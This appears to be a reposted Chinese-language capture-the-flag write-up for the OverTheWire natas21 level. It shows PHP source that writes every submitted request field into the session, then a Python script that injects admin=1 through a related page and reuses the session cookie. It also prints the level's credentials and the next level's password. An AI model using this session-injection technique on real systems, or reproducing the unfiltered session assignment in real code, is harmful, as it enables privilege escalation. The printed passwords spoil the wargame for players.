Overthewire-natas21
Posted wudiiv11
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Overthewire-natas21相关的知识,希望对你有一定的参考价值。
Overthewire level 21 to level 22
进入页面我们看到说首页和另外一个页面关联,并且首页的代码也很简单,就只有一个打印函数,那么这题显然是让我们从它关联的页面获得第21关admin的cookie了。
进入21关后直接看源代码
<?
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= \'<form action="index.php" method="POST">\';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name=\'$key\' value=\'$val\' /><br>";
}
$form .= \'<input type="submit" name="submit" value="Update" />\';
$form .= \'</form>\';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style=\'$style\'>Hello world!</div>";
?>
代码相当简单,并且有漏洞的代码也丝毫不加掩饰。
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
直接把提交的表带内每一项设置到session里去,这里我们只需要加一个admin=1
即可。破解代码如下
import requests
auth = (\'natas21\', \'IFekPyrQXftziDEsUr3x21sYuahypdgJ\')
resp = requests.post(\'http://natas21-experimenter.natas.labs.overthewire.org/index.php\',
auth=auth,
data={
\'align\': \'center\',
\'fontsize\': \'100%\',
\'bgcolor\': \'yellow\',
\'submit\': \'Update\',
\'admin\': \'1\'
})
sid = resp.cookies[\'PHPSESSID\']
resp = requests.get(\'http://natas21.natas.labs.overthewire.org/\',
auth=auth,
cookies={\'PHPSESSID\': sid})
print(resp.text)
第22关密码为chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
以上是关于Overthewire-natas21的主要内容,如果未能解决你的问题,请参考以下文章
14.VisualVM使用详解15.VisualVM堆查看器使用的内存不足19.class文件--文件结构--魔数20.文件结构--常量池21.文件结构访问标志(2个字节)22.类加载机制概(代码片段